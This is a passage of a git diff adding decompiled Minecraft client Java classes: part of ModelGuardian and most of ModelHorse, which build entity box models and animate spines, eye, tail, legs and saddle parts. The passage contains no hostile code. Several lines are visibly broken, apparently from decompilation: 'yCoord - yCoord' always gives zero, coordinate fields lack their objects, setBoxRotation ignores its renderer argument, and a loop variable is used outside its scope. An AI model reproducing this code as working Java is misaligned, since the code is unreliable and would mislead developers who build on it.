+  private static final String __OBFID = "CL_00002628";
+  
+  public ModelGuardian()
+  {
+    textureWidth = 64;
+    textureHeight = 64;
+    guardianSpines = new ModelRenderer[12];
+    guardianBody = new ModelRenderer(this);
+    guardianBody.setTextureOffset(0, 0).addBox(-6.0F, 10.0F, -8.0F, 12, 12, 16);
+    guardianBody.setTextureOffset(0, 28).addBox(-8.0F, 10.0F, -6.0F, 2, 12, 12);
+    guardianBody.setTextureOffset(0, 28).addBox(6.0F, 10.0F, -6.0F, 2, 12, 12, true);
+    guardianBody.setTextureOffset(16, 40).addBox(-6.0F, 8.0F, -6.0F, 12, 2, 12);
+    guardianBody.setTextureOffset(16, 40).addBox(-6.0F, 22.0F, -6.0F, 12, 2, 12);
+    
+    for (int var1 = 0; var1 < guardianSpines.length; var1++)
+    {
+      guardianSpines[var1] = new ModelRenderer(this, 0, 0);
+      guardianSpines[var1].addBox(-1.0F, -4.5F, -1.0F, 2, 9, 2);
+      guardianBody.addChild(guardianSpines[var1]);
+    }
+    
+    guardianEye = new ModelRenderer(this, 8, 0);
+    guardianEye.addBox(-1.0F, 15.0F, 0.0F, 2, 2, 1);
+    guardianBody.addChild(guardianEye);
+    guardianTail = new ModelRenderer[3];
+    guardianTail[0] = new ModelRenderer(this, 40, 0);
+    guardianTail[0].addBox(-2.0F, 14.0F, 7.0F, 4, 4, 8);
+    guardianTail[1] = new ModelRenderer(this, 0, 54);
+    guardianTail[1].addBox(0.0F, 14.0F, 0.0F, 3, 3, 7);
+    guardianTail[2] = new ModelRenderer(this);
+    guardianTail[2].setTextureOffset(41, 32).addBox(0.0F, 14.0F, 0.0F, 2, 2, 6);
+    guardianTail[2].setTextureOffset(25, 19).addBox(1.0F, 10.5F, 3.0F, 1, 9, 9);
+    guardianBody.addChild(guardianTail[0]);
+    guardianTail[0].addChild(guardianTail[1]);
+    guardianTail[1].addChild(guardianTail[2]);
+  }
+  
+  public int func_178706_a()
+  {
+    return 54;
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    guardianBody.render(p_78088_7_);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    EntityGuardian var8 = (EntityGuardian)p_78087_7_;
+    float var9 = p_78087_3_ - ticksExisted;
+    guardianBody.rotateAngleY = (p_78087_4_ / 57.295776F);
+    guardianBody.rotateAngleX = (p_78087_5_ / 57.295776F);
+    float[] var10 = { 1.75F, 0.25F, 0.0F, 0.0F, 0.5F, 0.5F, 0.5F, 0.5F, 1.25F, 0.75F, 0.0F, 0.0F };
+    float[] var11 = { 0.0F, 0.0F, 0.0F, 0.0F, 0.25F, 1.75F, 1.25F, 0.75F, 0.0F, 0.0F, 0.0F, 0.0F };
+    float[] var12 = { 0.0F, 0.0F, 0.25F, 1.75F, 0.0F, 0.0F, 0.0F, 0.0F, 0.0F, 0.0F, 0.75F, 1.25F };
+    float[] var13 = { 0.0F, 0.0F, 8.0F, -8.0F, -8.0F, 8.0F, 8.0F, -8.0F, 0.0F, 0.0F, 8.0F, -8.0F };
+    float[] var14 = { -8.0F, -8.0F, -8.0F, -8.0F, 0.0F, 0.0F, 0.0F, 0.0F, 8.0F, 8.0F, 8.0F, 8.0F };
+    float[] var15 = { 8.0F, -8.0F, 0.0F, 0.0F, -8.0F, -8.0F, 8.0F, 8.0F, 8.0F, -8.0F, 0.0F, 0.0F };
+    float var16 = (1.0F - var8.func_175469_o(var9)) * 0.55F;
+    
+    for (int var17 = 0; var17 < 12; var17++)
+    {
+      guardianSpines[var17].rotateAngleX = (3.1415927F * var10[var17]);
+      guardianSpines[var17].rotateAngleY = (3.1415927F * var11[var17]);
+      guardianSpines[var17].rotateAngleZ = (3.1415927F * var12[var17]);
+      guardianSpines[var17].rotationPointX = (var13[var17] * (1.0F + MathHelper.cos(p_78087_3_ * 1.5F + var17) * 0.01F - var16));
+      guardianSpines[var17].rotationPointY = (16.0F + var14[var17] * (1.0F + MathHelper.cos(p_78087_3_ * 1.5F + var17) * 0.01F - var16));
+      guardianSpines[var17].rotationPointZ = (var15[var17] * (1.0F + MathHelper.cos(p_78087_3_ * 1.5F + var17) * 0.01F - var16));
+    }
+    
+    guardianEye.rotationPointZ = -8.25F;
+    Object var26 = Minecraft.getMinecraft().func_175606_aa();
+    
+    if (var8.func_175474_cn())
+    {
+      var26 = var8.func_175466_co();
+    }
+    
+    if (var26 != null)
+    {
+      Vec3 var18 = ((Entity)var26).func_174824_e(0.0F);
+      Vec3 var19 = p_78087_7_.func_174824_e(0.0F);
+      double var20 = yCoord - yCoord;
+      
+      if (var20 > 0.0D)
+      {
+        guardianEye.rotationPointY = 0.0F;
+      }
+      else
+      {
+        guardianEye.rotationPointY = 1.0F;
+      }
+      
+      Vec3 var22 = p_78087_7_.getLook(0.0F);
+      var22 = new Vec3(xCoord, 0.0D, zCoord);
+      Vec3 var23 = new Vec3(xCoord - xCoord, 0.0D, zCoord - zCoord).normalize().rotateYaw(1.5707964F);
+      double var24 = var22.dotProduct(var23);
+      guardianEye.rotationPointX = (MathHelper.sqrt_float((float)Math.abs(var24)) * 2.0F * (float)Math.signum(var24));
+    }
+    
+    guardianEye.showModel = true;
+    float var27 = var8.func_175471_a(var9);
+    guardianTail[0].rotateAngleY = (MathHelper.sin(var27) * 3.1415927F * 0.05F);
+    guardianTail[1].rotateAngleY = (MathHelper.sin(var27) * 3.1415927F * 0.1F);
+    guardianTail[1].rotationPointX = -1.5F;
+    guardianTail[1].rotationPointY = 0.5F;
+    guardianTail[1].rotationPointZ = 14.0F;
+    guardianTail[2].rotateAngleY = (MathHelper.sin(var27) * 3.1415927F * 0.15F);
+    guardianTail[2].rotationPointX = 0.5F;
+    guardianTail[2].rotationPointY = 0.5F;
+    guardianTail[2].rotationPointZ = 6.0F;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelHorse.java b/src/minecraft/net/minecraft/client/model/ModelHorse.java
new file mode 100644
index 0000000..bb9bb6a
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelHorse.java
@@ -0,0 +1,574 @@
+package net.minecraft.client.model;
+
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntityHorse;
+import net.minecraft.util.MathHelper;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ModelHorse
+  extends ModelBase
+{
+  private ModelRenderer head;
+  private ModelRenderer field_178711_b;
+  private ModelRenderer field_178712_c;
+  private ModelRenderer horseLeftEar;
+  private ModelRenderer horseRightEar;
+  private ModelRenderer muleLeftEar;
+  private ModelRenderer muleRightEar;
+  private ModelRenderer neck;
+  private ModelRenderer horseFaceRopes;
+  private ModelRenderer mane;
+  private ModelRenderer body;
+  private ModelRenderer tailBase;
+  private ModelRenderer tailMiddle;
+  private ModelRenderer tailTip;
+  private ModelRenderer backLeftLeg;
+  private ModelRenderer backLeftShin;
+  private ModelRenderer backLeftHoof;
+  private ModelRenderer backRightLeg;
+  private ModelRenderer backRightShin;
+  private ModelRenderer backRightHoof;
+  private ModelRenderer frontLeftLeg;
+  private ModelRenderer frontLeftShin;
+  private ModelRenderer frontLeftHoof;
+  private ModelRenderer frontRightLeg;
+  private ModelRenderer frontRightShin;
+  private ModelRenderer frontRightHoof;
+  private ModelRenderer muleLeftChest;
+  private ModelRenderer muleRightChest;
+  private ModelRenderer horseSaddleBottom;
+  private ModelRenderer horseSaddleFront;
+  private ModelRenderer horseSaddleBack;
+  private ModelRenderer horseLeftSaddleRope;
+  private ModelRenderer horseLeftSaddleMetal;
+  private ModelRenderer horseRightSaddleRope;
+  private ModelRenderer horseRightSaddleMetal;
+  private ModelRenderer horseLeftFaceMetal;
+  private ModelRenderer horseRightFaceMetal;
+  private ModelRenderer horseLeftRein;
+  private ModelRenderer horseRightRein;
+  private static final String __OBFID = "CL_00000846";
+  
+  public ModelHorse()
+  {
+    textureWidth = 128;
+    textureHeight = 128;
+    body = new ModelRenderer(this, 0, 34);
+    body.addBox(-5.0F, -8.0F, -19.0F, 10, 10, 24);
+    body.setRotationPoint(0.0F, 11.0F, 9.0F);
+    tailBase = new ModelRenderer(this, 44, 0);
+    tailBase.addBox(-1.0F, -1.0F, 0.0F, 2, 2, 3);
+    tailBase.setRotationPoint(0.0F, 3.0F, 14.0F);
+    setBoxRotation(tailBase, -1.134464F, 0.0F, 0.0F);
+    tailMiddle = new ModelRenderer(this, 38, 7);
+    tailMiddle.addBox(-1.5F, -2.0F, 3.0F, 3, 4, 7);
+    tailMiddle.setRotationPoint(0.0F, 3.0F, 14.0F);
+    setBoxRotation(tailMiddle, -1.134464F, 0.0F, 0.0F);
+    tailTip = new ModelRenderer(this, 24, 3);
+    tailTip.addBox(-1.5F, -4.5F, 9.0F, 3, 4, 7);
+    tailTip.setRotationPoint(0.0F, 3.0F, 14.0F);
+    setBoxRotation(tailTip, -1.40215F, 0.0F, 0.0F);
+    backLeftLeg = new ModelRenderer(this, 78, 29);
+    backLeftLeg.addBox(-2.5F, -2.0F, -2.5F, 4, 9, 5);
+    backLeftLeg.setRotationPoint(4.0F, 9.0F, 11.0F);
+    backLeftShin = new ModelRenderer(this, 78, 43);
+    backLeftShin.addBox(-2.0F, 0.0F, -1.5F, 3, 5, 3);
+    backLeftShin.setRotationPoint(4.0F, 16.0F, 11.0F);
+    backLeftHoof = new ModelRenderer(this, 78, 51);
+    backLeftHoof.addBox(-2.5F, 5.1F, -2.0F, 4, 3, 4);
+    backLeftHoof.setRotationPoint(4.0F, 16.0F, 11.0F);
+    backRightLeg = new ModelRenderer(this, 96, 29);
+    backRightLeg.addBox(-1.5F, -2.0F, -2.5F, 4, 9, 5);
+    backRightLeg.setRotationPoint(-4.0F, 9.0F, 11.0F);
+    backRightShin = new ModelRenderer(this, 96, 43);
+    backRightShin.addBox(-1.0F, 0.0F, -1.5F, 3, 5, 3);
+    backRightShin.setRotationPoint(-4.0F, 16.0F, 11.0F);
+    backRightHoof = new ModelRenderer(this, 96, 51);
+    backRightHoof.addBox(-1.5F, 5.1F, -2.0F, 4, 3, 4);
+    backRightHoof.setRotationPoint(-4.0F, 16.0F, 11.0F);
+    frontLeftLeg = new ModelRenderer(this, 44, 29);
+    frontLeftLeg.addBox(-1.9F, -1.0F, -2.1F, 3, 8, 4);
+    frontLeftLeg.setRotationPoint(4.0F, 9.0F, -8.0F);
+    frontLeftShin = new ModelRenderer(this, 44, 41);
+    frontLeftShin.addBox(-1.9F, 0.0F, -1.6F, 3, 5, 3);
+    frontLeftShin.setRotationPoint(4.0F, 16.0F, -8.0F);
+    frontLeftHoof = new ModelRenderer(this, 44, 51);
+    frontLeftHoof.addBox(-2.4F, 5.1F, -2.1F, 4, 3, 4);
+    frontLeftHoof.setRotationPoint(4.0F, 16.0F, -8.0F);
+    frontRightLeg = new ModelRenderer(this, 60, 29);
+    frontRightLeg.addBox(-1.1F, -1.0F, -2.1F, 3, 8, 4);
+    frontRightLeg.setRotationPoint(-4.0F, 9.0F, -8.0F);
+    frontRightShin = new ModelRenderer(this, 60, 41);
+    frontRightShin.addBox(-1.1F, 0.0F, -1.6F, 3, 5, 3);
+    frontRightShin.setRotationPoint(-4.0F, 16.0F, -8.0F);
+    frontRightHoof = new ModelRenderer(this, 60, 51);
+    frontRightHoof.addBox(-1.6F, 5.1F, -2.1F, 4, 3, 4);
+    frontRightHoof.setRotationPoint(-4.0F, 16.0F, -8.0F);
+    head = new ModelRenderer(this, 0, 0);
+    head.addBox(-2.5F, -10.0F, -1.5F, 5, 5, 7);
+    head.setRotationPoint(0.0F, 4.0F, -10.0F);
+    setBoxRotation(head, 0.5235988F, 0.0F, 0.0F);
+    field_178711_b = new ModelRenderer(this, 24, 18);
+    field_178711_b.addBox(-2.0F, -10.0F, -7.0F, 4, 3, 6);
+    field_178711_b.setRotationPoint(0.0F, 3.95F, -10.0F);
+    setBoxRotation(field_178711_b, 0.5235988F, 0.0F, 0.0F);
+    field_178712_c = new ModelRenderer(this, 24, 27);
+    field_178712_c.addBox(-2.0F, -7.0F, -6.5F, 4, 2, 5);
+    field_178712_c.setRotationPoint(0.0F, 4.0F, -10.0F);
+    setBoxRotation(field_178712_c, 0.5235988F, 0.0F, 0.0F);
+    head.addChild(field_178711_b);
+    head.addChild(field_178712_c);
+    horseLeftEar = new ModelRenderer(this, 0, 0);
+    horseLeftEar.addBox(0.45F, -12.0F, 4.0F, 2, 3, 1);
+    horseLeftEar.setRotationPoint(0.0F, 4.0F, -10.0F);
+    setBoxRotation(horseLeftEar, 0.5235988F, 0.0F, 0.0F);
+    horseRightEar = new ModelRenderer(this, 0, 0);
+    horseRightEar.addBox(-2.45F, -12.0F, 4.0F, 2, 3, 1);
+    horseRightEar.setRotationPoint(0.0F, 4.0F, -10.0F);
+    setBoxRotation(horseRightEar, 0.5235988F, 0.0F, 0.0F);
+    muleLeftEar = new ModelRenderer(this, 0, 12);
+    muleLeftEar.addBox(-2.0F, -16.0F, 4.0F, 2, 7, 1);
+    muleLeftEar.setRotationPoint(0.0F, 4.0F, -10.0F);
+    setBoxRotation(muleLeftEar, 0.5235988F, 0.0F, 0.2617994F);
+    muleRightEar = new ModelRenderer(this, 0, 12);
+    muleRightEar.addBox(0.0F, -16.0F, 4.0F, 2, 7, 1);
+    muleRightEar.setRotationPoint(0.0F, 4.0F, -10.0F);
+    setBoxRotation(muleRightEar, 0.5235988F, 0.0F, -0.2617994F);
+    neck = new ModelRenderer(this, 0, 12);
+    neck.addBox(-2.05F, -9.8F, -2.0F, 4, 14, 8);
+    neck.setRotationPoint(0.0F, 4.0F, -10.0F);
+    setBoxRotation(neck, 0.5235988F, 0.0F, 0.0F);
+    muleLeftChest = new ModelRenderer(this, 0, 34);
+    muleLeftChest.addBox(-3.0F, 0.0F, 0.0F, 8, 8, 3);
+    muleLeftChest.setRotationPoint(-7.5F, 3.0F, 10.0F);
+    setBoxRotation(muleLeftChest, 0.0F, 1.5707964F, 0.0F);
+    muleRightChest = new ModelRenderer(this, 0, 47);
+    muleRightChest.addBox(-3.0F, 0.0F, 0.0F, 8, 8, 3);
+    muleRightChest.setRotationPoint(4.5F, 3.0F, 10.0F);
+    setBoxRotation(muleRightChest, 0.0F, 1.5707964F, 0.0F);
+    horseSaddleBottom = new ModelRenderer(this, 80, 0);
+    horseSaddleBottom.addBox(-5.0F, 0.0F, -3.0F, 10, 1, 8);
+    horseSaddleBottom.setRotationPoint(0.0F, 2.0F, 2.0F);
+    horseSaddleFront = new ModelRenderer(this, 106, 9);
+    horseSaddleFront.addBox(-1.5F, -1.0F, -3.0F, 3, 1, 2);
+    horseSaddleFront.setRotationPoint(0.0F, 2.0F, 2.0F);
+    horseSaddleBack = new ModelRenderer(this, 80, 9);
+    horseSaddleBack.addBox(-4.0F, -1.0F, 3.0F, 8, 1, 2);
+    horseSaddleBack.setRotationPoint(0.0F, 2.0F, 2.0F);
+    horseLeftSaddleMetal = new ModelRenderer(this, 74, 0);
+    horseLeftSaddleMetal.addBox(-0.5F, 6.0F, -1.0F, 1, 2, 2);
+    horseLeftSaddleMetal.setRotationPoint(5.0F, 3.0F, 2.0F);
+    horseLeftSaddleRope = new ModelRenderer(this, 70, 0);
+    horseLeftSaddleRope.addBox(-0.5F, 0.0F, -0.5F, 1, 6, 1);
+    horseLeftSaddleRope.setRotationPoint(5.0F, 3.0F, 2.0F);
+    horseRightSaddleMetal = new ModelRenderer(this, 74, 4);
+    horseRightSaddleMetal.addBox(-0.5F, 6.0F, -1.0F, 1, 2, 2);
+    horseRightSaddleMetal.setRotationPoint(-5.0F, 3.0F, 2.0F);
+    horseRightSaddleRope = new ModelRenderer(this, 80, 0);
+    horseRightSaddleRope.addBox(-0.5F, 0.0F, -0.5F, 1, 6, 1);
+    horseRightSaddleRope.setRotationPoint(-5.0F, 3.0F, 2.0F);
+    horseLeftFaceMetal = new ModelRenderer(this, 74, 13);
+    horseLeftFaceMetal.addBox(1.5F, -8.0F, -4.0F, 1, 2, 2);
+    horseLeftFaceMetal.setRotationPoint(0.0F, 4.0F, -10.0F);
+    setBoxRotation(horseLeftFaceMetal, 0.5235988F, 0.0F, 0.0F);
+    horseRightFaceMetal = new ModelRenderer(this, 74, 13);
+    horseRightFaceMetal.addBox(-2.5F, -8.0F, -4.0F, 1, 2, 2);
+    horseRightFaceMetal.setRotationPoint(0.0F, 4.0F, -10.0F);
+    setBoxRotation(horseRightFaceMetal, 0.5235988F, 0.0F, 0.0F);
+    horseLeftRein = new ModelRenderer(this, 44, 10);
+    horseLeftRein.addBox(2.6F, -6.0F, -6.0F, 0, 3, 16);
+    horseLeftRein.setRotationPoint(0.0F, 4.0F, -10.0F);
+    horseRightRein = new ModelRenderer(this, 44, 5);
+    horseRightRein.addBox(-2.6F, -6.0F, -6.0F, 0, 3, 16);
+    horseRightRein.setRotationPoint(0.0F, 4.0F, -10.0F);
+    mane = new ModelRenderer(this, 58, 0);
+    mane.addBox(-1.0F, -11.5F, 5.0F, 2, 16, 4);
+    mane.setRotationPoint(0.0F, 4.0F, -10.0F);
+    setBoxRotation(mane, 0.5235988F, 0.0F, 0.0F);
+    horseFaceRopes = new ModelRenderer(this, 80, 12);
+    horseFaceRopes.addBox(-2.5F, -10.1F, -7.0F, 5, 5, 12, 0.2F);
+    horseFaceRopes.setRotationPoint(0.0F, 4.0F, -10.0F);
+    setBoxRotation(horseFaceRopes, 0.5235988F, 0.0F, 0.0F);
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    EntityHorse var8 = (EntityHorse)p_78088_1_;
+    int var9 = var8.getHorseType();
+    float var10 = var8.getGrassEatingAmount(0.0F);
+    boolean var11 = var8.isAdultHorse();
+    boolean var12 = (var11) && (var8.isHorseSaddled());
+    boolean var13 = (var11) && (var8.isChested());
+    boolean var14 = (var9 == 1) || (var9 == 2);
+    float var15 = var8.getHorseSize();
+    boolean var16 = riddenByEntity != null;
+    
+    if (var12)
+    {
+      horseFaceRopes.render(p_78088_7_);
+      horseSaddleBottom.render(p_78088_7_);
+      horseSaddleFront.render(p_78088_7_);
+      horseSaddleBack.render(p_78088_7_);
+      horseLeftSaddleRope.render(p_78088_7_);
+      horseLeftSaddleMetal.render(p_78088_7_);
+      horseRightSaddleRope.render(p_78088_7_);
+      horseRightSaddleMetal.render(p_78088_7_);
+      horseLeftFaceMetal.render(p_78088_7_);
+      horseRightFaceMetal.render(p_78088_7_);
+      
+      if (var16)
+      {
+        horseLeftRein.render(p_78088_7_);
+        horseRightRein.render(p_78088_7_);
+      }
+    }
+    
+    if (!var11)
+    {
+      GlStateManager.pushMatrix();
+      GlStateManager.scale(var15, 0.5F + var15 * 0.5F, var15);
+      GlStateManager.translate(0.0F, 0.95F * (1.0F - var15), 0.0F);
+    }
+    
+    backLeftLeg.render(p_78088_7_);
+    backLeftShin.render(p_78088_7_);
+    backLeftHoof.render(p_78088_7_);
+    backRightLeg.render(p_78088_7_);
+    backRightShin.render(p_78088_7_);
+    backRightHoof.render(p_78088_7_);
+    frontLeftLeg.render(p_78088_7_);
+    frontLeftShin.render(p_78088_7_);
+    frontLeftHoof.render(p_78088_7_);
+    frontRightLeg.render(p_78088_7_);
+    frontRightShin.render(p_78088_7_);
+    frontRightHoof.render(p_78088_7_);
+    
+    if (!var11)
+    {
+      GlStateManager.popMatrix();
+      GlStateManager.pushMatrix();
+      GlStateManager.scale(var15, var15, var15);
+      GlStateManager.translate(0.0F, 1.35F * (1.0F - var15), 0.0F);
+    }
+    
+    body.render(p_78088_7_);
+    tailBase.render(p_78088_7_);
+    tailMiddle.render(p_78088_7_);
+    tailTip.render(p_78088_7_);
+    neck.render(p_78088_7_);
+    mane.render(p_78088_7_);
+    
+    if (!var11)
+    {
+      GlStateManager.popMatrix();
+      GlStateManager.pushMatrix();
+      float var17 = 0.5F + var15 * var15 * 0.5F;
+      GlStateManager.scale(var17, var17, var17);
+      
+      if (var10 <= 0.0F)
+      {
+        GlStateManager.translate(0.0F, 1.35F * (1.0F - var15), 0.0F);
+      }
+      else
+      {
+        GlStateManager.translate(0.0F, 0.9F * (1.0F - var15) * var10 + 1.35F * (1.0F - var15) * (1.0F - var10), 0.15F * (1.0F - var15) * var10);
+      }
+    }
+    
+    if (var14)
+    {
+      muleLeftEar.render(p_78088_7_);
+      muleRightEar.render(p_78088_7_);
+    }
+    else
+    {
+      horseLeftEar.render(p_78088_7_);
+      horseRightEar.render(p_78088_7_);
+    }
+    
+    head.render(p_78088_7_);
+    
+    if (!var11)
+    {
+      GlStateManager.popMatrix();
+    }
+    
+    if (var13)
+    {
+      muleLeftChest.render(p_78088_7_);
+      muleRightChest.render(p_78088_7_);
+    }
+  }
+  
+
+
+
+  private void setBoxRotation(ModelRenderer p_110682_1_, float p_110682_2_, float p_110682_3_, float p_110682_4_)
+  {
+    rotateAngleX = p_110682_2_;
+    rotateAngleY = p_110682_3_;
+    rotateAngleZ = p_110682_4_;
+  }
+  
+
+
+
+
+
+  private float updateHorseRotation(float p_110683_1_, float p_110683_2_, float p_110683_3_)
+  {
+    for (float var4 = p_110683_2_ - p_110683_1_; var4 < -180.0F; var4 += 360.0F) {}
+    
+
+
+
+    while (var4 >= 180.0F)
+    {
+      var4 -= 360.0F;
+    }
+    
+    return p_110683_1_ + p_110683_3_ * var4;
+  }
+  
+
+
+
+
+  public void setLivingAnimations(EntityLivingBase p_78086_1_, float p_78086_2_, float p_78086_3_, float p_78086_4_)
+  {
+    super.setLivingAnimations(p_78086_1_, p_78086_2_, p_78086_3_, p_78086_4_);
+    float var5 = updateHorseRotation(prevRenderYawOffset, renderYawOffset, p_78086_4_);
+    float var6 = updateHorseRotation(prevRotationYawHead, rotationYawHead, p_78086_4_);
+    float var7 = prevRotationPitch + (rotationPitch - prevRotationPitch) * p_78086_4_;
+    float var8 = var6 - var5;
+    float var9 = var7 / 57.295776F;
+    
+    if (var8 > 20.0F)
+    {
+      var8 = 20.0F;
+    }
+    
+    if (var8 < -20.0F)
+    {
+      var8 = -20.0F;
+    }
+    
+    if (p_78086_3_ > 0.2F)
+    {
+      var9 += MathHelper.cos(p_78086_2_ * 0.4F) * 0.15F * p_78086_3_;
+    }
+    
+    EntityHorse var10 = (EntityHorse)p_78086_1_;
+    float var11 = var10.getGrassEatingAmount(p_78086_4_);
+    float var12 = var10.getRearingAmount(p_78086_4_);
+    float var13 = 1.0F - var12;
+    float var14 = var10.func_110201_q(p_78086_4_);
+    boolean var15 = field_110278_bp != 0;
+    boolean var16 = var10.isHorseSaddled();
+    boolean var17 = riddenByEntity != null;
+    float var18 = ticksExisted + p_78086_4_;
+    float var19 = MathHelper.cos(p_78086_2_ * 0.6662F + 3.1415927F);
+    float var20 = var19 * 0.8F * p_78086_3_;
+    head.rotationPointY = 4.0F;
+    head.rotationPointZ = -10.0F;
+    tailBase.rotationPointY = 3.0F;
+    tailMiddle.rotationPointZ = 14.0F;
+    muleRightChest.rotationPointY = 3.0F;
+    muleRightChest.rotationPointZ = 10.0F;
+    body.rotateAngleX = 0.0F;
+    head.rotateAngleX = (0.5235988F + var9);
+    head.rotateAngleY = (var8 / 57.295776F);
+    head.rotateAngleX = (var12 * (0.2617994F + var9) + var11 * 2.18166F + (1.0F - Math.max(var12, var11)) * head.rotateAngleX);
+    head.rotateAngleY = (var12 * var8 / 57.295776F + (1.0F - Math.max(var12, var11)) * head.rotateAngleY);
+    head.rotationPointY = (var12 * -6.0F + var11 * 11.0F + (1.0F - Math.max(var12, var11)) * head.rotationPointY);
+    head.rotationPointZ = (var12 * -1.0F + var11 * -10.0F + (1.0F - Math.max(var12, var11)) * head.rotationPointZ);
+    tailBase.rotationPointY = (var12 * 9.0F + var13 * tailBase.rotationPointY);
+    tailMiddle.rotationPointZ = (var12 * 18.0F + var13 * tailMiddle.rotationPointZ);
+    muleRightChest.rotationPointY = (var12 * 5.5F + var13 * muleRightChest.rotationPointY);
+    muleRightChest.rotationPointZ = (var12 * 15.0F + var13 * muleRightChest.rotationPointZ);
+    body.rotateAngleX = (var12 * -45.0F / 57.295776F + var13 * body.rotateAngleX);
+    horseLeftEar.rotationPointY = head.rotationPointY;
+    horseRightEar.rotationPointY = head.rotationPointY;
+    muleLeftEar.rotationPointY = head.rotationPointY;
+    muleRightEar.rotationPointY = head.rotationPointY;
+    neck.rotationPointY = head.rotationPointY;
+    field_178711_b.rotationPointY = 0.02F;
+    field_178712_c.rotationPointY = 0.0F;
+    mane.rotationPointY = head.rotationPointY;
+    horseLeftEar.rotationPointZ = head.rotationPointZ;
+    horseRightEar.rotationPointZ = head.rotationPointZ;
+    muleLeftEar.rotationPointZ = head.rotationPointZ;
+    muleRightEar.rotationPointZ = head.rotationPointZ;
+    neck.rotationPointZ = head.rotationPointZ;
+    field_178711_b.rotationPointZ = (0.02F - var14 * 1.0F);
+    field_178712_c.rotationPointZ = (0.0F + var14 * 1.0F);
+    mane.rotationPointZ = head.rotationPointZ;
+    horseLeftEar.rotateAngleX = head.rotateAngleX;
+    horseRightEar.rotateAngleX = head.rotateAngleX;
+    muleLeftEar.rotateAngleX = head.rotateAngleX;
+    muleRightEar.rotateAngleX = head.rotateAngleX;
+    neck.rotateAngleX = head.rotateAngleX;
+    field_178711_b.rotateAngleX = (0.0F - 0.09424778F * var14);
+    field_178712_c.rotateAngleX = (0.0F + 0.15707964F * var14);
+    mane.rotateAngleX = head.rotateAngleX;
+    horseLeftEar.rotateAngleY = head.rotateAngleY;
+    horseRightEar.rotateAngleY = head.rotateAngleY;
+    muleLeftEar.rotateAngleY = head.rotateAngleY;
+    muleRightEar.rotateAngleY = head.rotateAngleY;
+    neck.rotateAngleY = head.rotateAngleY;
+    field_178711_b.rotateAngleY = 0.0F;
+    field_178712_c.rotateAngleY = 0.0F;
+    mane.rotateAngleY = head.rotateAngleY;
+    muleLeftChest.rotateAngleX = (var20 / 5.0F);
+    muleRightChest.rotateAngleX = (-var20 / 5.0F);
+    float var21 = 1.5707964F;
+    float var22 = 4.712389F;
+    float var23 = -1.0471976F;
+    float var24 = 0.2617994F * var12;
+    float var25 = MathHelper.cos(var18 * 0.6F + 3.1415927F);
+    frontLeftLeg.rotationPointY = (-2.0F * var12 + 9.0F * var13);
+    frontLeftLeg.rotationPointZ = (-2.0F * var12 + -8.0F * var13);
+    frontRightLeg.rotationPointY = frontLeftLeg.rotationPointY;
+    frontRightLeg.rotationPointZ = frontLeftLeg.rotationPointZ;
+    backLeftShin.rotationPointY = (backLeftLeg.rotationPointY + MathHelper.sin(1.5707964F + var24 + var13 * -var19 * 0.5F * p_78086_3_) * 7.0F);
+    backLeftShin.rotationPointZ = (backLeftLeg.rotationPointZ + MathHelper.cos(4.712389F + var24 + var13 * -var19 * 0.5F * p_78086_3_) * 7.0F);
+    backRightShin.rotationPointY = (backRightLeg.rotationPointY + MathHelper.sin(1.5707964F + var24 + var13 * var19 * 0.5F * p_78086_3_) * 7.0F);
+    backRightShin.rotationPointZ = (backRightLeg.rotationPointZ + MathHelper.cos(4.712389F + var24 + var13 * var19 * 0.5F * p_78086_3_) * 7.0F);
+    float var26 = (-1.0471976F + var25) * var12 + var20 * var13;
+    float var27 = (-1.0471976F + -var25) * var12 + -var20 * var13;
+    frontLeftShin.rotationPointY = (frontLeftLeg.rotationPointY + MathHelper.sin(1.5707964F + var26) * 7.0F);
+    frontLeftShin.rotationPointZ = (frontLeftLeg.rotationPointZ + MathHelper.cos(4.712389F + var26) * 7.0F);
+    frontRightShin.rotationPointY = (frontRightLeg.rotationPointY + MathHelper.sin(1.5707964F + var27) * 7.0F);
+    frontRightShin.rotationPointZ = (frontRightLeg.rotationPointZ + MathHelper.cos(4.712389F + var27) * 7.0F);
+    backLeftLeg.rotateAngleX = (var24 + -var19 * 0.5F * p_78086_3_ * var13);
+    backLeftShin.rotateAngleX = (-0.08726646F * var12 + (-var19 * 0.5F * p_78086_3_ - Math.max(0.0F, var19 * 0.5F * p_78086_3_)) * var13);
+    backLeftHoof.rotateAngleX = backLeftShin.rotateAngleX;
+    backRightLeg.rotateAngleX = (var24 + var19 * 0.5F * p_78086_3_ * var13);
+    backRightShin.rotateAngleX = (-0.08726646F * var12 + (var19 * 0.5F * p_78086_3_ - Math.max(0.0F, -var19 * 0.5F * p_78086_3_)) * var13);
+    backRightHoof.rotateAngleX = backRightShin.rotateAngleX;
+    frontLeftLeg.rotateAngleX = var26;
+    frontLeftShin.rotateAngleX = ((frontLeftLeg.rotateAngleX + 3.1415927F * Math.max(0.0F, 0.2F + var25 * 0.2F)) * var12 + (var20 + Math.max(0.0F, var19 * 0.5F * p_78086_3_)) * var13);
+    frontLeftHoof.rotateAngleX = frontLeftShin.rotateAngleX;
+    frontRightLeg.rotateAngleX = var27;
+    frontRightShin.rotateAngleX = ((frontRightLeg.rotateAngleX + 3.1415927F * Math.max(0.0F, 0.2F - var25 * 0.2F)) * var12 + (-var20 + Math.max(0.0F, -var19 * 0.5F * p_78086_3_)) * var13);
+    frontRightHoof.rotateAngleX = frontRightShin.rotateAngleX;
+    backLeftHoof.rotationPointY = backLeftShin.rotationPointY;
+    backLeftHoof.rotationPointZ = backLeftShin.rotationPointZ;
+    backRightHoof.rotationPointY = backRightShin.rotationPointY;
